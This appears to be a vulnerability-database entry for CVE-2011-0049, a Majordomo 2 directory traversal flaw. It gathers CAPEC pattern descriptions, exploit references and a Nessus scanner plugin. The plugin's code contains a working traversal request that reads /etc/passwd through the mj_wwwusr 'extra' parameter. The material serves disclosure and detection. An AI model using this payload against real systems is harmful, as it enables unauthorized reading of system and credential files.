Vulnerabilities > CVE-2011-0049 - Path Traversal vulnerability in MJ2 Majordomo 2

047910
CVSS 0.0 - NONE
Attack vector
UNKNOWN
Attack complexity
UNKNOWN
Privileges required
UNKNOWN
Confidentiality impact
UNKNOWN
Integrity impact
UNKNOWN
Availability impact
UNKNOWN
mj2
CWE-22
nessus
exploit available
metasploit

Summary

Directory traversal vulnerability in the _list_file_get function in lib/Majordomo.pm in Majordomo 2 before 20110131 allows remote attackers to read arbitrary files via .. (dot dot) sequences in the help command, as demonstrated using (1) a crafted email and (2) cgi-bin/mj_wwwusr in the web interface.

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Relative Path Traversal
    An attacker exploits a weakness in input validation on the target by supplying a specially constructed path utilizing dot and slash characters for the purpose of obtaining access to arbitrary files or resources. An attacker modifies a known path on the target in order to reach material that is not available through intended channels. These attacks normally involve adding additional path separators (/ or \) and/or dots (.), or encodings thereof, in various combinations in order to reach parent directories or entirely separate trees of the target's directory structure.
  • Directory Traversal
    An attacker with access to file system resources, either directly or via application logic, will use various file path specification or navigation mechanisms such as ".." in path strings and absolute paths to extend their range of access to inappropriate areas of the file system. The attacker attempts to either explore the file system for recon purposes or access directories and files that are intended to be restricted from their access. Exploring the file system can be achieved through constructing paths presented to directory listing programs, such as "ls" and 'dir', or through specially crafted programs that attempt to explore the file system. The attacker engaging in this type of activity is searching for information that can be used later in a more exploitive attack. Access to restricted directories or files can be achieved through modification of path references utilized by system applications.
  • File System Function Injection, Content Based
    An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attackers' program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.
  • Using Slashes and URL Encoding Combined to Bypass Validation Logic
    This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple way of encoding an URL and abuse the interpretation of the URL. An URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
  • Manipulating Input to File System Calls
    An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

D2sec

nameMajordomo 2 File Disclosure
urlhttp://www.d2sec.com/exploits/majordomo_2_file_disclosure.html

Exploit-Db

descriptionMajordomo2 - Directory Traversal (SMTP/HTTP). CVE-2011-0049,CVE-2011-0063. Remote exploits for multiple platform
fileexploits/multiple/remote/16103.txt
idEDB-ID:16103
last seen2016-02-01
modified2011-02-03
platformmultiple
port
published2011-02-03
reporterMichael Brooks
sourcehttps://www.exploit-db.com/download/16103/
titleMajordomo2 - Directory Traversal SMTP/HTTP
typeremote

Metasploit

descriptionThis module exploits a directory traversal vulnerability present in the _list_file_get() function of Majordomo2 (help function). By default, this module will attempt to download the Majordomo config.pl file.
idMSF:AUXILIARY/SCANNER/HTTP/MAJORDOMO2_DIRECTORY_TRAVERSAL
last seen2020-06-14
modified2017-07-24
published2011-03-12
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/auxiliary/scanner/http/majordomo2_directory_traversal.rb
titleMajordomo2 _list_file_get() Directory Traversal

Nessus

NASL familyCGI abuses
NASL idMAJORDOMO2_DIR_TRAVERSAL.NASL
descriptionThe version of Majordomo 2 on the remote host fails to sanitize input to the
last seen2020-06-01
modified2020-06-02
plugin id52000
published2011-02-16
reporterThis script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/52000
titleMajordomo 2 _list_file_get() Function Traversal Arbitrary File Access
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(52000);
  script_version("1.18");
  script_cvs_date("Date: 2018/11/15 20:50:17");

  script_cve_id("CVE-2011-0049", "CVE-2011-0063");
  script_bugtraq_id(46127);
  script_xref(name:"CERT", value:"363726");
  script_xref(name:"EDB-ID", value:"16103");
  script_xref(name:"Secunia", value:"43125");
  script_xref(name:"Secunia", value:"43631");

  script_name(english:"Majordomo 2 _list_file_get() Function Traversal Arbitrary File Access");
  script_summary(english:"Tries to grab /etc/passwd.");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a web application that contains a
directory traversal vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The version of Majordomo 2 on the remote host fails to sanitize input
to the 'extra' parameter of the 'mj_wwwusr' script before using it to
return the contents of a file.

An attacker can leverage this issue using a directory traversal
sequence to view arbitrary files on the affected host within the
context of the web server.  Information harvested may aid in launching
further attacks.

Note that this issue is also reportedly exploitable through
Majordomo's email interface, although Nessus has not checked for
that."
  );
  script_set_attribute(attribute:"solution", value:"Upgrade to Majordomo 2 build 20110204 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"Majordomo 2 File Disclosure");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:'D2ExploitPack');
  # http://web.archive.org/web/20110726024342/https://sitewat.ch/en/Advisory/View/1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?1456bb52");
  script_set_attribute(
    attribute:"see_also",
    value:"http://attrition.org/pipermail/vim/2011-February/002502.html"
  );
  script_set_attribute(
    attribute:"see_also",
    value:"https://seclists.org/bugtraq/2011/Mar/93"
  );

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/02/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/02/04");
  script_set_attribute(attribute:"plugin_publication_date", value:"2011/02/16");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "majordomo_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_keys("www/majordomo");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("data_protection.inc");

# Check that Majordomo is installed on this port.
port = get_http_port(default:80);

install = get_install_from_kb(appname:"majordomo", port:port, exit_on_fail:TRUE);
dir = install["dir"];

# Try and exploit the path traversal.
exploited = FALSE;
dotdot = "./../././../././../././../././../././../././../././../././../././../././../.";
url = "/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=" + dotdot + "/etc/passwd";

# Make the GET request for /etc/passwd.
res = http_send_recv3(
  item         : dir + url,
  method       : "GET",
  port         : port,
  exit_on_fail : TRUE
);

# Check if we got /etc/passwd.
if (!egrep(string:res[2], pattern:"root:.*:0:[01]:"))
  exit(0, "The Majordomo install at "+build_url(port:port, qs:dir+'/mj_wwwusr')+" is not affected.");

if (report_verbosity > 0)
{
  trailer = "";
  if (report_verbosity > 1)
  {
    res[2] = data_protection::redact_etc_passwd(output:res[2]);
    bar = crap(data:"-", length:30);
    trailer +=
      'Here are the contents of the /etc/passwd file :\n\n'+
      bar + " snip " + bar + '\n';
    trailer += egrep(string:res[2], pattern:"^([^:]*:){6}[^:]*$");
    trailer +=
      bar + " snip " + bar + '\n';
  }

  report = get_vuln_report(trailer:trailer, items:install["dir"] + url, port:port);

  security_warning(port:port, extra:report);
}
else security_warning(port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/98116/majordomo2-traverse.txt
idPACKETSTORM:98116
last seen2016-12-05
published2011-02-02
reporterMichael Brooks
sourcehttps://packetstormsecurity.com/files/98116/Majordomo2-20110121-Directory-Traversal.html
titleMajordomo2 20110121 Directory Traversal

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:70661
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-70661
titleMajordomo2 - Directory Traversal (SMTP/HTTP)